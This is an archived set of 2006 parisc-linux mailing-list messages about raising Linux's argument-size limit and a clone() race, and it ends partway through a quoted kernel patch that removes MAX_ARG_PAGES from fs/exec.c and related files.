X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24182


[Cc:-ed Ulrich too]

* Linus Torvalds <torvalds@osdl.org> wrote:

> On Fri, 29 Dec 2006, Russell King wrote:
> > 
> > Suggest you test (eg) a rebuild of libX11 to see how it reacts to 
> > this patch.
> 
> Also: please rebuild "xargs" and install first. Otherwise, a lot of 
> build script etc that use "xargs" won't ever trigger the new limits 
> (or lack thereof), because xargs will have been installed with some 
> old limits.

yeah, and i think the default chunking of xargs should still remain 
128K.

If it's fine for a script to get chunked input, and if the script has no 
security relevance (xargs is fundamentally unsafe if any portion of the 
VFS namespace it gets used is untrusted), then there's no problem for 
the xargs limit to stay at 128K.

> Perhaps more worrying is if compiling xargs under a new kernel then 
> means that it won't work correctly under an old one.

xargs has its limit hardcoded AFAICS, it's based on:

#define ARG_MAX       131072    /* # bytes of args + environ for exec() */

i'd not change that just yet. The sysconf(3) manpage says it's generally 
unreliable:

  BUGS
       It is difficult to use ARG_MAX because it is not specified how much  of
       the  argument  space  for  exec() is consumed by the user's environment
       variables.

but ... as it is with every limit, it is always possible to write an 
application that hardcodes a larger limit and then doesnt work when 
running with the lower limit. Would that have been a correct argument 
against say raising the user stack limit from the historic 1MB?

right now some of my (more stupid) scripts occasionally break if any 
random portion of my VFS namespace grows over the silly 128K limit. (and 
it rarely has the tendency to shrink, sadly) I think that is just as 
much of a legitimate problem as any naive newly written script not 
working on an older kernel on a huge VFS namespace. (in fact i could 
argue for it to be a more legitimate problem than other stupid scripts 
not being backwards compatible, not the least because it is a problem 
with /my/ scripts ;-)

we could try something like adding an ARG_MAX rlimit, but i think that 
would be overdoing it ... we could also do a sysctl as a global limit - 
equally pointless because distros will likely tweak it up anyway, and in 
any case neither measure really prevents the writing of stupid scripts.

	Ingo
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] timing bug in clone() ?
Date: Sat, 30 Dec 2006 09:07:12 +0800
Lines: 23
Approved: news@gmane.org
Message-ID: <4595BBC0.2020602__25818.1181423881$1416624244$gmane$org@tausq.org>
References: <200612291721.53961.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624244 21968 80.91.229.3 (22 Nov 2014 02:44:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <randolph@tausq.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Dec 2006 01:07:09 -0000
Original-Received: from ip127.bb146.pacific.net.hk (EHLO mailhub.stlglobal.com) [202.64.146.127]
  by mx0.gmx.net (mx066) with SMTP; 30 Dec 2006 02:07:09 +0100
Original-Received: from rccomp.stlglobal.com ([192.168.100.200])
	by mailhub.stlglobal.com with esmtp (Exim 4.50)
	id 1H0Sgg-0006N9-9n; Sat, 30 Dec 2006 09:07:02 +0800
User-Agent: Thunderbird 1.5.0.9 (Windows/20061207)
In-Reply-To: <200612291721.53961.deller@gmx.de>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: iYOgcVVvRkkeaauPfGRqHmtmdWkvKJNo
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24183

Helge Deller wrote:
> Help !
> 
> I'm trying to find the reason, why the program below segfaults on parisc.
> if you change the "#if 0" to "#if 1", then it works without segfaulting.
> 
> To me it seems we have some kind of race in the linux kernel, e.g.
> thread exits, wants to notify parent, but parent hasn't returned from clone() call... ?!?
> 
> Any ideas ?

We have some other problems that may be related to this. It might be a
race in how signals are delivered. We hit some problems with multiple
threads that seems somewhat similar.  See thread_test2.c in our
userspace cvs repo. It *might* be the same problem.

Sorry I don't have any ideas what the real problem is. I tried to debug
this a bit but reach any conclusions. It might be because our fork() is
quite slow because of all the cache flushing.

randolph



From - Thu Nov 08 21:35:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ollie Wild" <aaw@google.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [patch] remove MAX_ARG_PAGES
Date: Sun, 31 Dec 2006 22:51:40 -0800
Lines: 2525
Approved: news@gmane.org
Message-ID: <65dd6fd50612312251x5d266ab3l8306236152b33585__9618.82687774978$1416624244$gmane$org@mail.gmail.com>
References: <65dd6fd50610101705t3db93a72sc0847cd120aa05d3@mail.gmail.com>
	<1160572460.2006.79.camel@taijtu>
	<65dd6fd50610111448q7ff210e1nb5f14917c311c8d4@mail.gmail.com>
	<65dd6fd50610241048h24af39d9ob49c3816dfe1ca64@mail.gmail.com>
	<20061229200357.GA5940@elte.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0310451956=="
X-Trace: ger.gmane.org 1416624244 21972 80.91.229.3 (22 Nov 2014 02:44:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:04 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 linux-arch@vger.kernel.org,
 Peter Zijlstra <a.p.zijlstra@chello.nl>,
 Andi Kleen <ak@muc.de>,
 linux-kernel@vger.kernel.org,
 David Howells <dhowells@redhat.com>,
 linux-mm@kvack.org,
 Linus Torvalds <torvalds@osdl.org>,
 parisc-linux@lists.parisc-linux.org,
 Arjan van de Ven <arjan@infradead.org>
To: "Ingo Molnar" <mingo@elte.hu>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Jan 2007 17:26:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 01 Jan 2007 18:26:38 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 13D3C7D940;
	Mon,  1 Jan 2007 10:26:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08996-08; Mon, 1 Jan 2007 10:26:31 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 75B0B7D8A4;
	Mon,  1 Jan 2007 10:26:29 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 03D547D79A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Dec 2006 23:52:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02727-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Dec 2006 23:52:00 -0700 (MST)
Original-Received: from smtp-out.google.com (smtp-out.google.com [216.239.33.17])
	by free.linux.hp.com (Postfix) with ESMTP id EF00B7D64D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Dec 2006 23:51:58 -0700 (MST)
Original-Received: from spaceape7.eur.corp.google.com (spaceape7.eur.corp.google.com
	[172.28.16.141]) by smtp-out.google.com with ESMTP id l016pmOW031571
	for <parisc-linux@lists.parisc-linux.org>; Mon, 1 Jan 2007 06:51:48 GMT
DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:
	mime-version:content-type:references;
	b=XuhD4T17pYM4rgd3Su/bzhRWeeb3uTjxoRXd84Pr4S157fGCf+lY3GPe9fCSId2pM
	7xE9N68qHgJJfoI0+oUoA==
Original-Received: from nf-out-0910.google.com (nfck27.prod.google.com [10.48.112.27])
	by spaceape7.eur.corp.google.com with ESMTP id l016pe3b004962
	for <parisc-linux@lists.parisc-linux.org>; Mon, 1 Jan 2007 06:51:43 GMT
Original-Received: by nf-out-0910.google.com with SMTP id k27so825568nfc
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Dec 2006 22:51:40 -0800 (PST)
Original-Received: by 10.82.183.19 with SMTP id g19mr1081533buf.1167634300539;
	Sun, 31 Dec 2006 22:51:40 -0800 (PST)
Original-Received: by 10.82.107.8 with HTTP; Sun, 31 Dec 2006 22:51:40 -0800 (PST)
In-Reply-To: <20061229200357.GA5940@elte.hu>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Mon, 01 Jan 2007 10:26:28 -0700
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: eHyscVdvRkkeaauPfGRqSdhmdWkvKNOj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24184

--===============0310451956==
Content-Type: multipart/alternative; 
	boundary="----=_Part_147502_21702467.1167634300468"

------=_Part_147502_21702467.1167634300468
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

There are still a couple outstanding issues which need to be resolved before
this is ready for inclusion in the mainline kernel.

The main one is support for CONFIG_STACK_GROWSUP, which I think is just
parisc.  I've been meaning to look into this for a while, but I was out of
commision for most of November so it got punted to the back burner.  I'll
try to revisit it soonish.  If someone from the parisc-linux list wants to
take a look, though, that's fine by me.

The other is support for the various executable formats.  I've tested elf
and script pretty thoroughly, but I'm not sure how to go about testing most
of the others -- does anyone use aout anymore?  Maybe the solution is just
to check it in and wait to see if someone complains.

Ollie

On 12/29/06, Ingo Molnar <mingo@elte.hu> wrote:
>
>
> FYI, i have forward ported your MAX_ARG_PAGES limit removal patch to
> 2.6.20-rc2 and have included it in the -rt kernel. It's working great -
> i can now finally do a "ls -t patches/*.patch" in my patch repository -
> something i havent been able to do for years ;-)
>
> what is keeping this fix from going upstream?
>
>         Ingo
>
> -------------->
> Subject: [patch] remove MAX_ARG_PAGES
> From: Ollie Wild <aaw@google.com>
>
> this patch removes the MAX_ARG_PAGES limit by copying between VMs. This
> makes process argv/env limited by the stack limit (and it's thus
> arbitrarily sizable). No more:
>
>   -bash: /bin/ls: Argument list too long
>
> Signed-off-by: Ingo Molnar <mingo@elte.hu>
> ---
> arch/x86_64/ia32/ia32_binfmt.c |   55 -----
> fs/binfmt_elf.c                |   12 -
> fs/binfmt_misc.c               |    4
> fs/binfmt_script.c             |    4
> fs/compat.c                    |  118 ++++--------
> fs/exec.c                      |  382
> +++++++++++++++++++----------------------
> include/linux/binfmts.h        |   14 -
> include/linux/mm.h             |    7
> kernel/auditsc.c               |    5
> mm/mprotect.c                  |    2
> mm/mremap.c                    |    2
> 11 files changed, 250 insertions(+), 355 deletions(-)
>
> Index: linux/arch/x86_64/ia32/ia32_binfmt.c
> ===================================================================
> --- linux.orig/arch/x86_64/ia32/ia32_binfmt.c
> +++ linux/arch/x86_64/ia32/ia32_binfmt.c
> @@ -279,9 +279,6 @@ do
> {                                                        \
> #define load_elf_binary load_elf32_binary
>
> #define ELF_PLAT_INIT(r, load_addr)    elf32_init(r)
> -#define setup_arg_pages(bprm, stack_top, exec_stack) \
> -       ia32_setup_arg_pages(bprm, stack_top, exec_stack)
> -int ia32_setup_arg_pages(struct linux_binprm *bprm, unsigned long
> stack_top, int executable_stack);
>
> #undef start_thread
> #define start_thread(regs,new_rip,new_rsp) do { \
> @@ -336,57 +333,7 @@ static void elf32_init(struct pt_regs *r
> int ia32_setup_arg_pages(struct linux_binprm *bprm, unsigned long
> stack_top,
>                          int executable_stack)
> {
> -       unsigned long stack_base;
> -       struct vm_area_struct *mpnt;
> -       struct mm_struct *mm = current->mm;
> -       int i, ret;
> -
> -       stack_base = stack_top - MAX_ARG_PAGES * PAGE_SIZE;
> -       mm->arg_start = bprm->p + stack_base;
> -
> -       bprm->p += stack_base;
> -       if (bprm->loader)
> -               bprm->loader += stack_base;
> -       bprm->exec += stack_base;
> -
> -       mpnt = kmem_cache_alloc(vm_area_cachep, GFP_KERNEL);
> -       if (!mpnt)
> -               return -ENOMEM;
> -
> -       memset(mpnt, 0, sizeof(*mpnt));
> -
> -       down_write(&mm->mmap_sem);
> -       {
> -               mpnt->vm_mm = mm;
> -               mpnt->vm_start = PAGE_MASK & (unsigned long) bprm->p;
> -               mpnt->vm_end = stack_top;
> -               if (executable_stack == EXSTACK_ENABLE_X)
> -                       mpnt->vm_flags = VM_STACK_FLAGS |  VM_EXEC;
> -               else if (executable_stack == EXSTACK_DISABLE_X)
> -                       mpnt->vm_flags = VM_STACK_FLAGS & ~VM_EXEC;
> -               else
> -                       mpnt->vm_flags = VM_STACK_FLAGS;
> -               mpnt->vm_page_prot = (mpnt->vm_flags & VM_EXEC) ?
> -                       PAGE_COPY_EXEC : PAGE_COPY;
> -               if ((ret = insert_vm_struct(mm, mpnt))) {
> -                       up_write(&mm->mmap_sem);
> -                       kmem_cache_free(vm_area_cachep, mpnt);
> -                       return ret;
> -               }
> -               mm->stack_vm = mm->total_vm = vma_pages(mpnt);
> -       }
> -
> -       for (i = 0 ; i < MAX_ARG_PAGES ; i++) {
> -               struct page *page = bprm->page[i];
> -               if (page) {
> -                       bprm->page[i] = NULL;
> -                       install_arg_page(mpnt, page, stack_base);
> -               }
> -               stack_base += PAGE_SIZE;
> -       }
> -       up_write(&mm->mmap_sem);
> -
> -       return 0;
> +       return setup_arg_pages(bprm, stack_top, executable_stack);
> }
> EXPORT_SYMBOL(ia32_setup_arg_pages);
>
> Index: linux/fs/binfmt_elf.c
> ===================================================================
> --- linux.orig/fs/binfmt_elf.c
> +++ linux/fs/binfmt_elf.c
> @@ -253,8 +253,8 @@ create_elf_tables(struct linux_binprm *b
>                 size_t len;
>                 if (__put_user((elf_addr_t)p, argv++))
>                         return -EFAULT;
> -               len = strnlen_user((void __user *)p,
> PAGE_SIZE*MAX_ARG_PAGES);
> -               if (!len || len > PAGE_SIZE*MAX_ARG_PAGES)
> +               len = strnlen_user((void __user *)p, MAX_ARG_STRLEN);
> +               if (!len || len > MAX_ARG_STRLEN)
>                         return 0;
>                 p += len;
>         }
> @@ -265,8 +265,8 @@ create_elf_tables(struct linux_binprm *b
>                 size_t len;
>                 if (__put_user((elf_addr_t)p, envp++))
>                         return -EFAULT;
> -               len = strnlen_user((void __user *)p,
> PAGE_SIZE*MAX_ARG_PAGES);
> -               if (!len || len > PAGE_SIZE*MAX_ARG_PAGES)
> +               len = strnlen_user((void __user *)p, MAX_ARG_STRLEN);
> +               if (!len || len > MAX_ARG_STRLEN)
>                         return 0;
>                 p += len;
>         }
> @@ -767,10 +767,6 @@ static int load_elf_binary(struct linux_
>         }
>
>         /* OK, This is the point of no return */
> -       current->mm->start_data = 0;
> -       current->mm->end_data = 0;
> -       current->mm->end_code = 0;
> -       current->mm->mmap = NULL;
>         current->flags &= ~PF_FORKNOEXEC;
>         current->mm->def_flags = def_flags;
>
> Index: linux/fs/binfmt_misc.c
> ===================================================================
> --- linux.orig/fs/binfmt_misc.c
> +++ linux/fs/binfmt_misc.c
> @@ -126,7 +126,9 @@ static int load_misc_binary(struct linux
>                 goto _ret;
>
>         if (!(fmt->flags & MISC_FMT_PRESERVE_ARGV0)) {
> -               remove_arg_zero(bprm);
> +               retval = remove_arg_zero(bprm);
> +               if (retval)
> +                       goto _ret;
>         }
>
>         if (fmt->flags & MISC_FMT_OPEN_BINARY) {
> Index: linux/fs/binfmt_script.c
> ===================================================================
> --- linux.orig/fs/binfmt_script.c
> +++ linux/fs/binfmt_script.c
> @@ -68,7 +68,9 @@ static int load_script(struct linux_binp
>          * This is done in reverse order, because of how the
>          * user environment and arguments are stored.
>          */
> -       remove_arg_zero(bprm);
> +       retval = remove_arg_zero(bprm);
> +       if (retval)
> +               return retval;
>         retval = copy_strings_kernel(1, &bprm->interp, bprm);
>         if (retval < 0) return retval;
>         bprm->argc++;
> Index: linux/fs/compat.c
> ===================================================================
> --- linux.orig/fs/compat.c
> +++ linux/fs/compat.c
> @@ -1389,6 +1389,7 @@ static int compat_copy_strings(int argc,
> {
>         struct page *kmapped_page = NULL;
>         char *kaddr = NULL;
> +       unsigned long kpos = 0;
>         int ret;
>
>         while (argc-- > 0) {
> @@ -1397,92 +1398,72 @@ static int compat_copy_strings(int argc,
>                 unsigned long pos;
>
>                 if (get_user(str, argv+argc) ||
> -                       !(len = strnlen_user(compat_ptr(str), bprm->p))) {
> +                   !(len = strnlen_user(compat_ptr(str),
> MAX_ARG_STRLEN))) {
>                         ret = -EFAULT;
>                         goto out;
>                 }
>
> -               if (bprm->p < len)  {
> +               if (MAX_ARG_STRLEN < len) {
>                         ret = -E2BIG;
>                         goto out;
>                 }
>
> -               bprm->p -= len;
> -               /* XXX: add architecture specific overflow check here. */
> +               /* We're going to work our way backwords. */
>                 pos = bprm->p;
> +               str += len;
> +               bprm->p -= len;
>
>                 while (len > 0) {
> -                       int i, new, err;
>                         int offset, bytes_to_copy;
> -                       struct page *page;
>
>                         offset = pos % PAGE_SIZE;
> -                       i = pos/PAGE_SIZE;
> -                       page = bprm->page[i];
> -                       new = 0;
> -                       if (!page) {
> -                               page = alloc_page(GFP_HIGHUSER);
> -                               bprm->page[i] = page;
> -                               if (!page) {
> -                                       ret = -ENOMEM;
> +                       if (offset == 0)
> +                               offset = PAGE_SIZE;
> +
> +                       bytes_to_copy = offset;
> +                       if (bytes_to_copy > len)
> +                               bytes_to_copy = len;
> +
> +                       offset -= bytes_to_copy;
> +                       pos -= bytes_to_copy;
> +                       str -= bytes_to_copy;
> +                       len -= bytes_to_copy;
> +
> +                       if (!kmapped_page || kpos != (pos & PAGE_MASK)) {
> +                               struct page *page;
> +
> +                               ret = get_user_pages(current, bprm->mm,
> pos,
> +                                                    1, 1, 1, &page,
> NULL);
> +                               if (ret <= 0) {
> +                                       /* We've exceed the stack rlimit.
> */
> +                                       ret = -E2BIG;
>                                         goto out;
>                                 }
> -                               new = 1;
> -                       }
>
> -                       if (page != kmapped_page) {
> -                               if (kmapped_page)
> +                               if (kmapped_page) {
>                                         kunmap(kmapped_page);
> +                                       put_page(kmapped_page);
> +                               }
>                                 kmapped_page = page;
>                                 kaddr = kmap(kmapped_page);
> +                               kpos = pos & PAGE_MASK;
>                         }
> -                       if (new && offset)
> -                               memset(kaddr, 0, offset);
> -                       bytes_to_copy = PAGE_SIZE - offset;
> -                       if (bytes_to_copy > len) {
> -                               bytes_to_copy = len;
> -                               if (new)
> -                                       memset(kaddr+offset+len, 0,
> -                                               PAGE_SIZE-offset-len);
> -                       }
> -                       err = copy_from_user(kaddr+offset,
> compat_ptr(str),
> -                                               bytes_to_copy);
> -                       if (err) {
> +                       if (copy_from_user(kaddr+offset, compat_ptr(str),
> +                                               bytes_to_copy)) {
>                                 ret = -EFAULT;
>                                 goto out;
>                         }
> -
> -                       pos += bytes_to_copy;
> -                       str += bytes_to_copy;
> -                       len -= bytes_to_copy;
>                 }
>         }
>         ret = 0;
> out:
> -       if (kmapped_page)
> +       if (kmapped_page) {
>                 kunmap(kmapped_page);
> -       return ret;
> -}
> -
> -#ifdef CONFIG_MMU
> -
> -#define free_arg_pages(bprm) do { } while (0)
> -
> -#else
> -
> -static inline void free_arg_pages(struct linux_binprm *bprm)
> -{
> -       int i;
> -
> -       for (i = 0; i < MAX_ARG_PAGES; i++) {
> -               if (bprm->page[i])
> -                       __free_page(bprm->page[i]);
> -               bprm->page[i] = NULL;
> +               put_page(kmapped_page);
>         }
> +       return ret;
> }
>
> -#endif /* CONFIG_MMU */
> -
> /*
>   * compat_do_execve() is mostly a copy of do_execve(), with the exception
>   * that it processes 32 bit argv and envp pointers.
> @@ -1495,7 +1476,6 @@ int compat_do_execve(char * filename,
>         struct linux_binprm *bprm;
>         struct file *file;
>         int retval;
> -       int i;
>
>         retval = -ENOMEM;
>         bprm = kzalloc(sizeof(*bprm), GFP_KERNEL);
> @@ -1509,24 +1489,19 @@ int compat_do_execve(char * filename,
>
>         sched_exec();
>
> -       bprm->p = PAGE_SIZE*MAX_ARG_PAGES-sizeof(void *);
>         bprm->file = file;
>         bprm->filename = filename;
>         bprm->interp = filename;
> -       bprm->mm = mm_alloc();
> -       retval = -ENOMEM;
> -       if (!bprm->mm)
> -               goto out_file;
>
> -       retval = init_new_context(current, bprm->mm);
> -       if (retval < 0)
> -               goto out_mm;
> +       retval = bprm_mm_init(bprm);
> +       if (retval)
> +               goto out_file;
>
> -       bprm->argc = compat_count(argv, bprm->p / sizeof(compat_uptr_t));
> +       bprm->argc = compat_count(argv, MAX_ARG_STRINGS);
>         if ((retval = bprm->argc) < 0)
>                 goto out_mm;
>
> -       bprm->envc = compat_count(envp, bprm->p / sizeof(compat_uptr_t));
> +       bprm->envc = compat_count(envp, MAX_ARG_STRINGS);
>         if ((retval = bprm->envc) < 0)
>                 goto out_mm;
>
> @@ -1551,10 +1526,8 @@ int compat_do_execve(char * filename,
>         if (retval < 0)
>                 goto out;
>
> -       retval = search_binary_handler(bprm, regs);
> +       retval = search_binary_handler(bprm,regs);
>         if (retval >= 0) {
> -               free_arg_pages(bprm);
> -
>                 /* execve success */
>                 security_bprm_free(bprm);
>                 acct_update_integrals(current);
> @@ -1563,19 +1536,12 @@ int compat_do_execve(char * filename,
>         }
>
> out:
> -       /* Something went wrong, return the inode and free the argument
> pages*/
> -       for (i = 0 ; i < MAX_ARG_PAGES ; i++) {
> -               struct page * page = bprm->page[i];
> -               if (page)
> -                       __free_page(page);
> -       }
> -
>         if (bprm->security)
>                 security_bprm_free(bprm);
>
> out_mm:
>         if (bprm->mm)
> -               mmdrop(bprm->mm);
> +               mmput (bprm->mm);
>
> out_file:
>         if (bprm->file) {
> Index: linux/fs/exec.c
> ===================================================================
> --- linux.orig/fs/exec.c
> +++ linux/fs/exec.c
> @@ -174,6 +174,79 @@ exit:
>         goto out;
> }
>
> +#ifdef CONFIG_STACK_GROWSUP
> +#error I broke your build because I rearchitected the stack code, and I \
> +       don't have access to an architecture where CONFIG_STACK_GROWSUP is
> \
> +       set.  Please fixe this or send me a machine which I can test this
> on. \
> +       \
> +       -- Ollie Wild <aaw@google.com>
> +#endif
> +
> +/* Create a new mm_struct and populate it with a temporary stack
> + * vm_area_struct.  We don't have enough context at this point to set the
> + * stack flags, permissions, and offset, so we use temporary
> values.  We'll
> + * update them later in setup_arg_pages(). */
> +int bprm_mm_init(struct linux_binprm *bprm)
> +{
> +       int err;
> +       struct mm_struct *mm = NULL;
> +       struct vm_area_struct *vma = NULL;
> +
> +       bprm->mm = mm = mm_alloc();
> +       err = -ENOMEM;
> +       if (!mm)
> +               goto err;
> +
> +       if ((err = init_new_context(current, mm)))
> +               goto err;
> +
> +       bprm->vma = vma = kmem_cache_zalloc(vm_area_cachep, GFP_KERNEL);
> +       err = -ENOMEM;
> +       if (!vma)
> +               goto err;
> +
> +       down_write(&mm->mmap_sem);
> +       {
> +               vma->vm_mm = mm;
> +
> +               /* Place the stack at the top of user memory.  Later,
> we'll
> +                * move this to an appropriate place.  We don't use
> STACK_TOP
> +                * because that can depend on attributes which aren't
> +                * configured yet. */
> +               vma->vm_end = TASK_SIZE;
> +               vma->vm_start = vma->vm_end - PAGE_SIZE;
> +
> +               vma->vm_flags = VM_STACK_FLAGS;
> +               vma->vm_page_prot = protection_map[vma->vm_flags & 0x7];
> +               if ((err = insert_vm_struct(mm, vma))) {
> +                       up_write(&mm->mmap_sem);
> +                       goto err;
> +               }
> +
> +               mm->stack_vm = mm->total_vm = 1;
> +       }
> +       up_write(&mm->mmap_sem);
> +
> +       bprm->p = vma->vm_end - sizeof(void *);
> +
> +       return 0;
> +
> +err:
> +       if (vma) {
> +               bprm->vma = NULL;
> +               kmem_cache_free(vm_area_cachep, vma);
> +       }
> +
> +       if (mm) {
> +               bprm->mm = NULL;
> +               mmdrop(mm);
> +       }
> +
> +       return err;
> +}
> +
> +EXPORT_SYMBOL(bprm_mm_init);
> +
> /*
>   * count() counts the number of strings in array ARGV.
>   */
> @@ -199,15 +272,16 @@ static int count(char __user * __user *
> }
>
> /*
> - * 'copy_strings()' copies argument/environment strings from user
> - * memory to free pages in kernel mem. These are in a format ready
> - * to be put directly into the top of new user memory.
> + * 'copy_strings()' copies argument/environment strings from the old
> + * processes's memory to the new process's stack.  The call to
> get_user_pages()
> + * ensures the destination page is created and not swapped out.
>   */
> static int copy_strings(int argc, char __user * __user * argv,
>                         struct linux_binprm *bprm)
> {
>         struct page *kmapped_page = NULL;
>         char *kaddr = NULL;
> +       unsigned long kpos = 0;
>         int ret;
>
>         while (argc-- > 0) {
> @@ -216,69 +290,68 @@ static int copy_strings(int argc, char _
>                 unsigned long pos;
>
>                 if (get_user(str, argv+argc) ||
> -                               !(len = strnlen_user(str, bprm->p))) {
> +                               !(len = strnlen_user(str,
> MAX_ARG_STRLEN))) {
>                         ret = -EFAULT;
>                         goto out;
>                 }
>
> -               if (bprm->p < len)  {
> +               if (MAX_ARG_STRLEN < len) {
>                         ret = -E2BIG;
>                         goto out;
>                 }
>
> -               bprm->p -= len;
> -               /* XXX: add architecture specific overflow check here. */
> +               /* We're going to work our way backwords. */
>                 pos = bprm->p;
> +               str += len;
> +               bprm->p -= len;
>
>                 while (len > 0) {
> -                       int i, new, err;
>                         int offset, bytes_to_copy;
> -                       struct page *page;
>
>                         offset = pos % PAGE_SIZE;
> -                       i = pos/PAGE_SIZE;
> -                       page = bprm->page[i];
> -                       new = 0;
> -                       if (!page) {
> -                               page = alloc_page(GFP_HIGHUSER);
> -                               bprm->page[i] = page;
> -                               if (!page) {
> -                                       ret = -ENOMEM;
> +                       if (offset == 0)
> +                               offset = PAGE_SIZE;
> +
> +                       bytes_to_copy = offset;
> +                       if (bytes_to_copy > len)
> +                               bytes_to_copy = len;
> +
> +                       offset -= bytes_to_copy;
> +                       pos -= bytes_to_copy;
> +                       str -= bytes_to_copy;
> +                       len -= bytes_to_copy;
> +
> +                       if (!kmapped_page || kpos != (pos & PAGE_MASK)) {
> +                               struct page *page;
> +
> +                               ret = get_user_pages(current, bprm->mm,
> pos,
> +                                                    1, 1, 1, &page,
> NULL);
> +                               if (ret <= 0) {
> +                                       /* We've exceed the stack rlimit.
> */
> +                                       ret = -E2BIG;
>                                         goto out;
>                                 }
> -                               new = 1;
> -                       }
>
> -                       if (page != kmapped_page) {
> -                               if (kmapped_page)
> +                               if (kmapped_page) {
>                                         kunmap(kmapped_page);
> +                                       put_page(kmapped_page);
> +                               }
>                                 kmapped_page = page;
>                                 kaddr = kmap(kmapped_page);
> +                               kpos = pos & PAGE_MASK;
>                         }
> -                       if (new && offset)
> -                               memset(kaddr, 0, offset);
> -                       bytes_to_copy = PAGE_SIZE - offset;
> -                       if (bytes_to_copy > len) {
> -                               bytes_to_copy = len;
> -                               if (new)
> -                                       memset(kaddr+offset+len, 0,
> -                                               PAGE_SIZE-offset-len);
> -                       }
> -                       err = copy_from_user(kaddr+offset, str,
> bytes_to_copy);
> -                       if (err) {
> +                       if (copy_from_user(kaddr+offset, str,
> bytes_to_copy)) {
>                                 ret = -EFAULT;
>                                 goto out;
>                         }
> -
> -                       pos += bytes_to_copy;
> -                       str += bytes_to_copy;
> -                       len -= bytes_to_copy;
>                 }
>         }
>         ret = 0;
> out:
> -       if (kmapped_page)
> +       if (kmapped_page) {
>                 kunmap(kmapped_page);
> +               put_page(kmapped_page);
> +       }
>         return ret;
> }
>
